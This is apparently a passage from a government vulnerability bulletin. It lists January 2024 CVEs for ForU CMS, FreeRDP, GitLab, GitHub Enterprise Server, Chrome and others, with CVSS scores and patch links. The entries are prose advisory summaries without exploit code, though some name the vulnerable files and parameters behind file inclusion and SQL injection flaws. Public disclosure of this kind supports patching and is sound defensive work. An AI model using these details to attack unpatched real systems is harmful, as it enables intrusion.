Affected Version(s): * Up to (including) 2020-06-23					
Externally Controlled Reference to a Resource in Another Sphere	19-Jan-2024	9.8	A vulnerability classified as problematic was found in ForU CMS up to 2020-06-23. Affected by this vulnerability is an unknown functionality of the file channel.php. The manipulation of the argument c_cmodel leads to file inclusion. The attack can be launched remotely. The exploit has been disclosed to	N/A	A-FOR-FORU-130224/444

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			the public and may be used. The associated identifier of this vulnerability is VDB-251551. **CVE ID : CVE-2024-0728**		
Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')	19-Jan-2024	9.8	A vulnerability, which was classified as critical, has been found in ForU CMS up to 2020-06-23. Affected by this issue is some unknown functionality of the file cms_admin.php. The manipulation of the argument a_name leads to sql injection. The exploit has been disclosed to the public and may be used. The identifier of this vulnerability is VDB-251552. **CVE ID : CVE-2024-0729**	N/A	A-FOR-FORU-130224/445
Vendor: freerdp					
Product: freerdp					
Affected Version(s): * Up to (excluding) 2.11.5					
Integer Overflow or Wraparound	19-Jan-2024	9.8	FreeRDP is a set of free and open source remote desktop protocol library and clients. In affected versions an integer overflow	https://github.com/FreeRDP/FreeRDP/commit/939e922936e9c3ae8fc204968645e5e7563a2ff,	A-FRE-FREE-130224/446

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			in `freerdp_bitmap_planar_context_reset` leads to heap-buffer overflow. This affects FreeRDP based clients. FreeRDP based server implementations and proxy are not affected. A malicious server could prepare a `RDPGFX_RESET_GRAPHICS_PDU` to allocate too small buffers, possibly triggering later out of bound read/write. Data extraction over network is not possible, the buffers are used to display an image. This issue has been addressed in version 2.11.5 and 3.2.0. Users are advised to upgrade. there are no know workarounds for this vulnerability. **CVE ID : CVE-2024-22211**	https://github.com/FreeRDP/FreeRDP/commit/aeac3040cc99eeaff1e1171a822114c857b9dca9, https://github.com/FreeRDP/FreeRDP/security/advisories/GHSA-rjhp-44rv-7v59	
Affected Version(s): From (including) 3.0.0 Up to (excluding) 3.2.0					
Integer Overflow or	19-Jan-2024	9.8	FreeRDP is a set of free and open source remote desktop protocol library and clients.	https://github.com/FreeRDP/FreeRDP/commit/939e922936e9c3ae8fc204968	A-FRE-FREE-130224/447

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Wraparound			In affected versions an integer overflow in `freerdp_bitmap_planar_context_reset` leads to heap-buffer overflow. This affects FreeRDP based clients. FreeRDP based server implementations and proxy are not affected. A malicious server could prepare a `RDPGFX_RESET_GRAPHICS_PDU` to allocate too small buffers, possibly triggering later out of bound read/write. Data extraction over network is not possible, the buffers are used to display an image. This issue has been addressed in version 2.11.5 and 3.2.0. Users are advised to upgrade. there are no know workarounds for this vulnerability. **CVE ID : CVE-2024-22211**	645e5e7563a2fff, https://github.com/FreeRDP/FreeRDP/commit/aeac3040cc99eeaff1e1171a822114c857b9dca9, https://github.com/FreeRDP/FreeRDP/security/advisories/GHSA-rjhp-44rv-7v59	
Vendor: Freesshd					
Product: freesshd					
Affected Version(s): 1.0.9					

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Improper Resource Shutdown or Release	19-Jan-2024	7.5	A vulnerability was found in freeSSHd 1.0.9 on Windows. It has been classified as problematic. This affects an unknown part. The manipulation leads to denial of service. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used. The associated identifier of this vulnerability is VDB-251547. **CVE ID : CVE-2024-0723**	N/A	A-FRE-FREE-130224/448
Vendor: frumph					
Product: phpfreechat					
Affected Version(s): * Up to (including) 0.2.8					
Server-Side Request Forgery (SSRF)	19-Jan-2024	9.8	Server-Side Request Forgery (SSRF) vulnerability in Montonio Montonio for WooCommerce, Wpopal Wpopal Core Features, AMO for WP – Membership Management ArcStone wp-amo, Long Watch Studio WooVirtualWallet – A virtual wallet	N/A	A-FRU-PHPF-130224/449

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			for WooCommerce, Long Watch Studio WooVIP – Membership plugin for WordPress and WooCommerce, Long Watch Studio WooSupply – Suppliers, Supply Orders and Stock Management, Squidesma Theme Minifier, Paul Clark Styles styles, Designmodo Inc. WordPress Page Builder – Qards, Philip M. Hofer (Frumph) PHPFreeChat, Arun Basil Lal Custom Login Admin Front-end CSS, Team Agence-Press CSS Adder By Agence-Press, Unihost Confirm Data, deano1987 AMP Toolbox amp-toolbox, Arun Basil Lal Admin CSS MU.This issue affects Montonio for WooCommerce: from n/a through 6.0.1; Wpopal Core Features: from n/a through 1.5.8; ArcStone: from n/a through 4.6.6; WooVirtualWallet – A virtual wallet for WooCommerce: from n/a through		

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			2.2.1; WooVIP – Membership plugin for WordPress and WooCommerce: from n/a through 1.4.4; WooSupply – Suppliers, Supply Orders and Stock Management: from n/a through 1.2.2; Theme Minifier: from n/a through 2.0; Styles: from n/a through 1.2.3; WordPress Page Builder – Qards: from n/a through 1.0.5; PHPFreeChat: from n/a through 0.2.8; Custom Login Admin Front-end CSS: from n/a through 1.4.1; CSS Adder By Agence-Press: from n/a through 1.5.0; Confirm Data: from n/a through 1.0.7; AMP Toolbox: from n/a through 2.1.1; Admin CSS MU: from n/a through 2.6. **CVE ID : CVE-2022-40700**		
Vendor: fusionpbx					
Product: fusionpbx					
Affected Version(s): * Up to (excluding) 5.1.0					

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	19-Jan-2024	4.8	FusionPBX prior to 5.1.0 contains a cross-site scripting vulnerability. If this vulnerability is exploited by a remote authenticated attacker with an administrative privilege, an arbitrary script may be executed on the web browser of the user who is logging in to the product. **CVE ID : CVE-2024-23387**	N/A	A-FUS-FUSI-130224/450
Vendor: gabrieleventuri					
Product: pandasai					
Affected Version(s): * Up to (including) 1.5.17					
Missing Authorization	22-Jan-2024	9.8	GenerateSDFPipeline in synthetic_dataframe in PandasAI (aka pandas-ai) through 1.5.17 allows attackers to trigger the generation of arbitrary Python code that is executed by SDFCodeExecutor. An attacker can create a dataframe that provides an English language specification of this Python code. NOTE: the vendor previously	https://github.com/gventuri/pandas-ai/issues/868	A-GAB-PAND-130224/451

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			attempted to restrict code execution in response to a separate issue, CVE-2023-39660. **CVE ID : CVE-2024-23752**		
Vendor: garethhk					
Product: mldong					
Affected Version(s): 1.0					
Improper Control of Generation of Code ('Code Injection')	19-Jan-2024	9.8	A vulnerability, which was classified as critical, has been found in ???? mldong 1.0. This issue affects the function ExpressionEngine of the file com/mldong/modules/wf/engine/model/DecisionModel.java. The manipulation leads to code injection. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used. The identifier VDB-251561 was assigned to this vulnerability. **CVE ID : CVE-2024-0738**	N/A	A-GAR-MLDO-130224/452
Vendor: Gentoo					
Product: webmin					

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Affected Version(s): * Up to (including) 2.105					
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	25-Jan-2024	4.8	Cross Site Scripting vulnerability (XSS) in webmin v.2.105 and earlier allows a remote attacker to execute arbitrary code via a crafted payload to the "Execute cron job as" tab Input field. **CVE ID : CVE-2023-52046**	N/A	A-GEN-WEBM-130224/453
Vendor: getkap					
Product: kap					
Affected Version(s): * Up to (including) 3.6.0					
N/A	28-Jan-2024	9.8	An issue in Kap for macOS version 3.6.0 and before, allows remote attackers to execute arbitrary code via the RunAsNode and enableNodeCliInspectArguments settings. **CVE ID : CVE-2024-23740**	N/A	A-GET-KAP-130224/454
Vendor: ghost					
Product: ghost					
Affected Version(s): * Up to (excluding) 5.76.0					
Improper Neutralization of Input During Web Page Generation	21-Jan-2024	6.1	Ghost before 5.76.0 allows XSS via a post excerpt in excerpt.js. An XSS payload can be rendered in post summaries.	https://github.com/TryGhost/Ghost/pull/17190, https://github.com/TryGhost/Ghost/releases/tag/v5.76.0	A-GHO-GHOS-130224/455

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
('Cross-site Scripting')			**CVE ID : CVE-2024-23725**		
Vendor: giovambattistafazioli					
Product: wp_social_bookmark_menu					
Affected Version(s): * Up to (including) 1.2					
Cross-Site Request Forgery (CSRF)	29-Jan-2024	8.8	The WP SOCIAL BOOKMARK MENU WordPress plugin through 1.2 does not have CSRF check in place when updating its settings, which could allow attackers to make a logged in admin change them via a CSRF attack. **CVE ID : CVE-2023-7074**	N/A	A-GIO-WP_S-130224/456
Vendor: Github					
Product: enterprise_server					
Affected Version(s): * Up to (excluding) 3.8.13					
Improper Neutralization of Special Elements used in a Command ('Command Injection')	16-Jan-2024	8.8	An attacker with access to a Management Console user account with the editor role could escalate privileges through a command injection vulnerability in the Management Console. This vulnerability affected all versions of GitHub Enterprise Server and was fixed in versions 3.11.3,	N/A	A-GIT-ENTE-130224/457

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			3.10.5, 3.9.8, and 3.8.13 This vulnerability was reported via the GitHub Bug Bounty program. **CVE ID : CVE-2024-0507**		
Affected Version(s): From (including) 3.10.0 Up to (excluding) 3.10.5					
Use of Externally-Controlled Input to Select Classes or Code ('Unsafe Reflection')	16-Jan-2024	9.8	An unsafe reflection vulnerability was identified in GitHub Enterprise Server that could lead to reflection injection. This vulnerability could lead to the execution of user-controlled methods and remote code execution. To exploit this bug, an actor would need to be logged into an account on the GHES instance with the organization owner role. This vulnerability affected all versions of GitHub Enterprise Server prior to 3.12 and was fixed in versions 3.8.13, 3.9.8, 3.10.5, and 3.11.3. This vulnerability was reported via the	N/A	A-GIT-ENTE-130224/458

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			GitHub Bug Bounty program. **CVE ID : CVE-2024-0200**		
Improper Neutralization of Special Elements used in a Command ('Command Injection')	16-Jan-2024	8.8	An attacker with access to a Management Console user account with the editor role could escalate privileges through a command injection vulnerability in the Management Console. This vulnerability affected all versions of GitHub Enterprise Server and was fixed in versions 3.11.3, 3.10.5, 3.9.8, and 3.8.13 This vulnerability was reported via the GitHub Bug Bounty program. **CVE ID : CVE-2024-0507**	N/A	A-GIT-ENTE-130224/459
Affected Version(s): From (including) 3.11.0 Up to (excluding) 3.11.3					
Use of Externally-Controlled Input to Select Classes or Code ('Unsafe	16-Jan-2024	9.8	An unsafe reflection vulnerability was identified in GitHub Enterprise Server that could lead to reflection injection. This vulnerability could	N/A	A-GIT-ENTE-130224/460

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Reflection')			lead to the execution of user-controlled methods and remote code execution. To exploit this bug, an actor would need to be logged into an account on the GHES instance with the organization owner role. This vulnerability affected all versions of GitHub Enterprise Server prior to 3.12 and was fixed in versions 3.8.13, 3.9.8, 3.10.5, and 3.11.3. This vulnerability was reported via the GitHub Bug Bounty program. **CVE ID : CVE-2024-0200**		
Improper Neutralization of Special Elements used in a Command ('Command Injection')	16-Jan-2024	8.8	An attacker with access to a Management Console user account with the editor role could escalate privileges through a command injection vulnerability in the Management Console. This vulnerability	N/A	A-GIT-ENTE-130224/461

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			affected all versions of GitHub Enterprise Server and was fixed in versions 3.11.3, 3.10.5, 3.9.8, and 3.8.13 This vulnerability was reported via the GitHub Bug Bounty program. **CVE ID : CVE-2024-0507**		
Affected Version(s): From (including) 3.8.0 Up to (excluding) 3.8.13					
Use of Externally-Controlled Input to Select Classes or Code ('Unsafe Reflection')	16-Jan-2024	9.8	An unsafe reflection vulnerability was identified in GitHub Enterprise Server that could lead to reflection injection. This vulnerability could lead to the execution of user-controlled methods and remote code execution. To exploit this bug, an actor would need to be logged into an account on the GHES instance with the organization owner role. This vulnerability affected all versions of GitHub Enterprise Server prior to 3.12 and was fixed in versions 3.8.13,	N/A	A-GIT-ENTE-130224/462

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			3.9.8, 3.10.5, and 3.11.3. This vulnerability was reported via the GitHub Bug Bounty program. **CVE ID : CVE-2024-0200**		
Affected Version(s): From (including) 3.9.0 Up to (excluding) 3.9.8					
Use of Externally-Controlled Input to Select Classes or Code ('Unsafe Reflection')	16-Jan-2024	9.8	An unsafe reflection vulnerability was identified in GitHub Enterprise Server that could lead to reflection injection. This vulnerability could lead to the execution of user-controlled methods and remote code execution. To exploit this bug, an actor would need to be logged into an account on the GHES instance with the organization owner role. This vulnerability affected all versions of GitHub Enterprise Server prior to 3.12 and was fixed in versions 3.8.13, 3.9.8, 3.10.5, and 3.11.3. This	N/A	A-GIT-ENTE-130224/463

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			vulnerability was reported via the GitHub Bug Bounty program. **CVE ID : CVE-2024-0200**		
Improper Neutralization of Special Elements used in a Command ('Command Injection')	16-Jan-2024	8.8	An attacker with access to a Management Console user account with the editor role could escalate privileges through a command injection vulnerability in the Management Console. This vulnerability affected all versions of GitHub Enterprise Server and was fixed in versions 3.11.3, 3.10.5, 3.9.8, and 3.8.13 This vulnerability was reported via the GitHub Bug Bounty program. **CVE ID : CVE-2024-0507**	N/A	A-GIT-ENTE-130224/464
Vendor: Gitlab					
Product: gitlab					
Affected Version(s): * Up to (excluding) 16.6.6					
N/A	26-Jan-2024	5.3	An issue has been discovered in GitLab affecting all versions before	https://about.gitlab.com/releases/2024/01/25/critical-	A-GIT-GITL-130224/465

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			16.6.6, 16.7 prior to 16.7.4, and 16.8 prior to 16.8.1. It was possible to read the user email address via tags feed although the visibility in the user profile has been disabled. **CVE ID : CVE-2023-5612**	security-release-gitlab-16-8-1-released/	
Affected Version(s): 16.8.0					
Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')	26-Jan-2024	9.9	An issue has been discovered in GitLab CE/EE affecting all versions from 16.0 prior to 16.6.6, 16.7 prior to 16.7.4, and 16.8 prior to 16.8.1 which allows an authenticated user to write files to arbitrary locations on the GitLab server while creating a workspace. **CVE ID : CVE-2024-0402**	https://about.gitlab.com/releases/2024/01/25/critical-security-release-gitlab-16-8-1-released/	A-GIT-GITL-130224/466
N/A	26-Jan-2024	6.5	An issue has been discovered in GitLab CE/EE affecting all versions from 12.7 prior to 16.6.6, 16.7 prior to 16.7.4, and 16.8 prior to 16.8.1 It was possible for an	https://about.gitlab.com/releases/2024/01/25/critical-security-release-gitlab-16-8-1-released/	A-GIT-GITL-130224/467

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			attacker to trigger a Regular Expression Denial of Service via a `Cargo.toml` containing maliciously crafted input. **CVE ID : CVE-2023-6159**		
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	26-Jan-2024	5.4	An issue has been discovered in GitLab CE/EE affecting all versions after 13.7 before 16.6.6, 16.7 prior to 16.7.4, and 16.8 prior to 16.8.1. Improper input sanitization of user name allows arbitrary API PUT requests. **CVE ID : CVE-2023-5933**	https://about.gitlab.com/releases/2024/01/25/critical-security-release-gitlab-16-8-1-released/	A-GIT-GITL-130224/468
N/A	26-Jan-2024	5.3	An issue has been discovered in GitLab affecting all versions before 16.6.6, 16.7 prior to 16.7.4, and 16.8 prior to 16.8.1. It was possible to read the user email address via tags feed although the visibility in the user profile has been disabled. **CVE ID : CVE-2023-5612**	https://about.gitlab.com/releases/2024/01/25/critical-security-release-gitlab-16-8-1-released/	A-GIT-GITL-130224/469

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
N/A	26-Jan-2024	4.3	An authorization vulnerability exists in GitLab versions 14.0 prior to 16.6.6, 16.7 prior to 16.7.4, and 16.8 prior to 16.8.1. An unauthorized attacker is able to assign arbitrary users to MRs that they created within the project **CVE ID : CVE-2024-0456**	https://about.gitlab.com/releases/2024/01/25/critical-security-release-gitlab-16-8-1-released/	A-GIT-GITL-130224/470
Affected Version(s): From (including) 12.7.0 Up to (excluding) 16.6.6					
N/A	26-Jan-2024	6.5	An issue has been discovered in GitLab CE/EE affecting all versions from 12.7 prior to 16.6.6, 16.7 prior to 16.7.4, and 16.8 prior to 16.8.1 It was possible for an attacker to trigger a Regular Expression Denial of Service via a `Cargo.toml` containing maliciously crafted input. **CVE ID : CVE-2023-6159**	https://about.gitlab.com/releases/2024/01/25/critical-security-release-gitlab-16-8-1-released/	A-GIT-GITL-130224/471
Affected Version(s): From (including) 13.7.0 Up to (excluding) 16.6.6					
Improper Neutralization of Input During	26-Jan-2024	5.4	An issue has been discovered in GitLab CE/EE affecting all versions after 13.7	https://about.gitlab.com/releases/2024/01/25/critical-security-	A-GIT-GITL-130224/472

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Web Page Generation ('Cross-site Scripting')			before 16.6.6, 16.7 prior to 16.7.4, and 16.8 prior to 16.8.1. Improper input sanitization of user name allows arbitrary API PUT requests. **CVE ID : CVE-2023-5933**	release-gitlab-16-8-1-released/	
Affected Version(s): From (including) 14.0.0 Up to (excluding) 16.6.6					
N/A	26-Jan-2024	4.3	An authorization vulnerability exists in GitLab versions 14.0 prior to 16.6.6, 16.7 prior to 16.7.4, and 16.8 prior to 16.8.1. An unauthorized attacker is able to assign arbitrary users to MRs that they created within the project **CVE ID : CVE-2024-0456**	https://about.gitlab.com/releases/2024/01/25/critical-security-release-gitlab-16-8-1-released/	A-GIT-GITL-130224/473
Affected Version(s): From (including) 16.0.0 Up to (excluding) 16.5.8					
Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')	26-Jan-2024	9.9	An issue has been discovered in GitLab CE/EE affecting all versions from 16.0 prior to 16.6.6, 16.7 prior to 16.7.4, and 16.8 prior to 16.8.1 which allows an authenticated user to write files to arbitrary locations on the GitLab server while	https://about.gitlab.com/releases/2024/01/25/critical-security-release-gitlab-16-8-1-released/	A-GIT-GITL-130224/474

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			creating a workspace. **CVE ID : CVE-2024-0402**		
Affected Version(s): From (including) 16.6.0 Up to (excluding) 16.6.6					
Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')	26-Jan-2024	9.9	An issue has been discovered in GitLab CE/EE affecting all versions from 16.0 prior to 16.6.6, 16.7 prior to 16.7.4, and 16.8 prior to 16.8.1 which allows an authenticated user to write files to arbitrary locations on the GitLab server while creating a workspace. **CVE ID : CVE-2024-0402**	https://about.gitlab.com/releases/2024/01/25/critical-security-release-gitlab-16-8-1-released/	A-GIT-GITL-130224/475
Affected Version(s): From (including) 16.7.0 Up to (excluding) 16.7.4					
Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')	26-Jan-2024	9.9	An issue has been discovered in GitLab CE/EE affecting all versions from 16.0 prior to 16.6.6, 16.7 prior to 16.7.4, and 16.8 prior to 16.8.1 which allows an authenticated user to write files to arbitrary locations on the GitLab server while creating a workspace.	https://about.gitlab.com/releases/2024/01/25/critical-security-release-gitlab-16-8-1-released/	A-GIT-GITL-130224/476

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			CVE ID : CVE-2024-0402		
N/A	26-Jan-2024	6.5	An issue has been discovered in GitLab CE/EE affecting all versions from 12.7 prior to 16.6.6, 16.7 prior to 16.7.4, and 16.8 prior to 16.8.1 It was possible for an attacker to trigger a Regular Expression Denial of Service via a `Cargo.toml` containing maliciously crafted input. **CVE ID : CVE-2023-6159**	https://about.gitlab.com/releases/2024/01/25/critical-security-release-gitlab-16-8-1-released/	A-GIT-GITL-130224/477
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	26-Jan-2024	5.4	An issue has been discovered in GitLab CE/EE affecting all versions after 13.7 before 16.6.6, 16.7 prior to 16.7.4, and 16.8 prior to 16.8.1. Improper input sanitization of user name allows arbitrary API PUT requests. **CVE ID : CVE-2023-5933**	https://about.gitlab.com/releases/2024/01/25/critical-security-release-gitlab-16-8-1-released/	A-GIT-GITL-130224/478
N/A	26-Jan-2024	5.3	An issue has been discovered in GitLab affecting all versions before 16.6.6, 16.7 prior	https://about.gitlab.com/releases/2024/01/25/critical-security-	A-GIT-GITL-130224/479

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			to 16.7.4, and 16.8 prior to 16.8.1. It was possible to read the user email address via tags feed although the visibility in the user profile has been disabled. **CVE ID : CVE-2023-5612**	release-gitlab-16-8-1-released/	
N/A	26-Jan-2024	4.3	An authorization vulnerability exists in GitLab versions 14.0 prior to 16.6.6, 16.7 prior to 16.7.4, and 16.8 prior to 16.8.1. An unauthorized attacker is able to assign arbitrary users to MRs that they created within the project **CVE ID : CVE-2024-0456**	https://about.gitlab.com/releases/2024/01/25/critical-security-release-gitlab-16-8-1-released/	A-GIT-GITL-130224/480
Vendor: givewp					
Product: givewp					
Affected Version(s): * Up to (excluding) 2.24.1					
Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')	16-Jan-2024	9.8	The GiveWP WordPress plugin before 2.24.1 does not properly escape user input before it reaches SQL queries, which could let unauthenticated attackers perform SQL Injection attacks	https://givewp.com/core-2-24-0-vulnerability-patched/	A-GIV-GIVE-130224/481

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			CVE ID : CVE-2023-0224		
Vendor: gluwa					
Product: creditcoin					
Affected Version(s): *					
Untrusted Search Path	17-Jan-2024	7.8	Creditcoin is a network that enables cross-blockchain credit transactions. The Windows binary of the Creditcoin node loads a suite of DLLs provided by Microsoft at startup. If a malicious user has access to overwrite the program files directory it is possible to replace these DLLs and execute arbitrary code. It is the view of the blockchain development team that the threat posed by a hypothetical binary planting attack is minimal and represents a low-security risk. The vulnerable DLL files are from the Windows networking subsystem, the Visual C++ runtime, and low-level cryptographic primitives. Collectively these	https://github.com/gluwa/creditcoin/security/advisories/GHSA-cx5c-xwcv-vhmq	A-GLU-CRED-130224/482

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			dependencies are required for a large ecosystem of applications, ranging from enterprise-level security applications to game engines, and don't represent a fundamental lack of security or oversight in the design and implementation of Creditcoin. The blockchain team takes the stance that running Creditcoin on Windows is officially unsupported and at best should be thought of as experimental. **CVE ID : CVE-2024-22410**		
Vendor: Gnome					
Product: gdkpixbuf					
Affected Version(s): * Up to (including) 2.42.10					
Out-of-bounds Write	26-Jan-2024	7.8	In GNOME GdkPixbuf (aka gdk-pixbuf) through 2.42.10, the ANI (Windows animated cursor) decoder encounters heap memory corruption (in ani_load_chunk in	N/A	A-GNO-GDKP-130224/483

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			io-ani.c) when parsing chunks in a crafted .ani file. A crafted file could allow an attacker to overwrite heap metadata, leading to a denial of service or code execution attack. This occurs in gdk_pixbuf_set_option() in gdk-pixbuf.c. **CVE ID : CVE-2022-48622**		
Vendor: GNU					
Product: gnutls					
Affected Version(s): * Up to (excluding) 3.8.3					
Observable Discrepancy	16-Jan-2024	7.5	A vulnerability was found in GnuTLS. The response times to malformed ciphertexts in RSA-PSK ClientKeyExchange differ from the response times of ciphertexts with correct PKCS#1 v1.5 padding. This issue may allow a remote attacker to perform a timing side-channel attack in the RSA-PSK key exchange, potentially leading to the leakage of sensitive data. CVE-2024-0553 is designated as an	https://gitlab.com/gnutls/gnutls/-/issues/1522	A-GNU-GNUT-130224/484

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			incomplete resolution for CVE-2023-5981. **CVE ID : CVE-2024-0553**		
Improper Verification of Cryptographic Signature	16-Jan-2024	7.5	A vulnerability was found in GnuTLS, where a cockpit (which uses gnuTLS) rejects a certificate chain with distributed trust. This issue occurs when validating a certificate chain with cockpit-certificate-ensure. This flaw allows an unauthenticated, remote client or attacker to initiate a denial of service attack. **CVE ID : CVE-2024-0567**	https://gitlab.com/gnutls/gnutls/-/issues/1521	A-GNU-GNUT-130224/485
Vendor: go4rayyan					
Product: scumblr					
Affected Version(s): * Up to (excluding) 2.0.2					
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	21-Jan-2024	6.1	A vulnerability, which was classified as problematic, has been found in go4rayyan Scumblr up to 2.0.1a. Affected by this issue is some unknown functionality of the component Task Handler. The	https://github.com/go4rayyan/CG1/commit/5c9120f2362ddb7cbe48f2c4620715adddc4ee35	A-GO4-SCUM-130224/486

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			manipulation leads to cross site scripting. The attack may be launched remotely. Upgrading to version 2.0.2 is able to address this issue. The patch is identified as 5c9120f2362ddb7cbe48f2c4620715addddc4ee35. It is recommended to upgrade the affected component. VDB-251570 is the identifier assigned to this vulnerability. **CVE ID : CVE-2016-15037**		
Vendor: Google					
Product: chrome					
Affected Version(s): * Up to (excluding) 120.0.6099.224					
Out-of-bounds Write	16-Jan-2024	8.8	Out of bounds write in V8 in Google Chrome prior to 120.0.6099.224 allowed a remote attacker to potentially exploit heap corruption via a crafted HTML page. (Chromium security severity: High) **CVE ID : CVE-2024-0517**	N/A	A-GOO-CHRO-130224/487

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Access of Resource Using Incompatible Type ('Type Confusion')	16-Jan-2024	8.8	Type confusion in V8 in Google Chrome prior to 120.0.6099.224 allowed a remote attacker to potentially exploit heap corruption via a crafted HTML page. (Chromium security severity: High) **CVE ID : CVE-2024-0518**	N/A	A-GOO-CHRO-130224/488
Out-of-bounds Write	16-Jan-2024	8.8	Out of bounds memory access in V8 in Google Chrome prior to 120.0.6099.224 allowed a remote attacker to potentially exploit heap corruption via a crafted HTML page. (Chromium security severity: High) **CVE ID : CVE-2024-0519**	N/A	A-GOO-CHRO-130224/489
Affected Version(s): * Up to (excluding) 121.0.6167.85					
Integer Underflow (Wrap or Wraparound)	24-Jan-2024	9.8	Integer underflow in WebUI in Google Chrome prior to 121.0.6167.85 allowed a remote attacker to potentially exploit heap corruption via a malicious file. (Chromium security severity: High)	https://chromereleases.googleblog.com/2024/01/stable-channel-update-for-desktop_23.html	A-GOO-CHRO-130224/490

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			CVE ID : CVE-2024-0808		
Use After Free	24-Jan-2024	8.8	Use after free in Passwords in Google Chrome prior to 121.0.6167.85 allowed a remote attacker to potentially exploit heap corruption via specific UI interaction. (Chromium security severity: Medium) **CVE ID : CVE-2024-0806**	https://chromereleases.googleblog.com/2024/01/stable-channel-update-for-desktop_23.html	A-GOO-CHRO-130224/491
Use After Free	24-Jan-2024	8.8	Use after free in Web Audio in Google Chrome prior to 121.0.6167.85 allowed a remote attacker to potentially exploit heap corruption via a crafted HTML page. (Chromium security severity: High) **CVE ID : CVE-2024-0807**	https://chromereleases.googleblog.com/2024/01/stable-channel-update-for-desktop_23.html	A-GOO-CHRO-130224/492
N/A	24-Jan-2024	8.8	Inappropriate implementation in Accessibility in Google Chrome prior to 121.0.6167.85 allowed a remote attacker to potentially exploit	https://chromereleases.googleblog.com/2024/01/stable-channel-update-for-desktop_23.html	A-GOO-CHRO-130224/493

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			object corruption via a crafted HTML page. (Chromium security severity: High) **CVE ID : CVE-2024-0812**		
Use After Free	24-Jan-2024	8.8	Use after free in Reading Mode in Google Chrome prior to 121.0.6167.85 allowed an attacker who convinced a user to install a malicious extension to potentially exploit heap corruption via specific UI interaction. (Chromium security severity: Medium) **CVE ID : CVE-2024-0813**	https://chromereleases.googleblog.com/2024/01/stable-channel-update-for-desktop_23.html	A-GOO-CHRO-130224/494
N/A	24-Jan-2024	7.5	Insufficient policy enforcement in iOS Security UI in Google Chrome prior to 121.0.6167.85 allowed a remote attacker to leak cross-origin data via a crafted HTML page. (Chromium security severity: Medium) **CVE ID : CVE-2024-0804**	https://chromereleases.googleblog.com/2024/01/stable-channel-update-for-desktop_23.html	A-GOO-CHRO-130224/495

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Origin Validation Error	24-Jan-2024	6.5	Incorrect security UI in Payments in Google Chrome prior to 121.0.6167.85 allowed a remote attacker to potentially spoof security UI via a crafted HTML page. (Chromium security severity: Medium) **CVE ID : CVE-2024-0814**	https://chromereleases.googleblog.com/2024/01/stable-channel-update-for-desktop_23.html	A-GOO-CHRO-130224/496
N/A	24-Jan-2024	4.3	Inappropriate implementation in Downloads in Google Chrome prior to 121.0.6167.85 allowed a remote attacker to perform domain spoofing via a crafted domain name. (Chromium security severity: Medium) **CVE ID : CVE-2024-0805**	https://chromereleases.googleblog.com/2024/01/stable-channel-update-for-desktop_23.html	A-GOO-CHRO-130224/497
N/A	24-Jan-2024	4.3	Inappropriate implementation in Autofill in Google Chrome prior to 121.0.6167.85 allowed a remote attacker to bypass Autofill restrictions via a crafted HTML page. (Chromium	https://chromereleases.googleblog.com/2024/01/stable-channel-update-for-desktop_23.html	A-GOO-CHRO-130224/498

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			security severity: Low) **CVE ID : CVE-2024-0809**		
N/A	24-Jan-2024	4.3	Insufficient policy enforcement in DevTools in Google Chrome prior to 121.0.6167.85 allowed an attacker who convinced a user to install a malicious extension to leak cross-origin data via a crafted Chrome Extension. (Chromium security severity: Medium) **CVE ID : CVE-2024-0810**	https://chromereleases.googleblog.com/2024/01/stable-channel-update-for-desktop_23.html	A-GOO-CHRO-130224/499
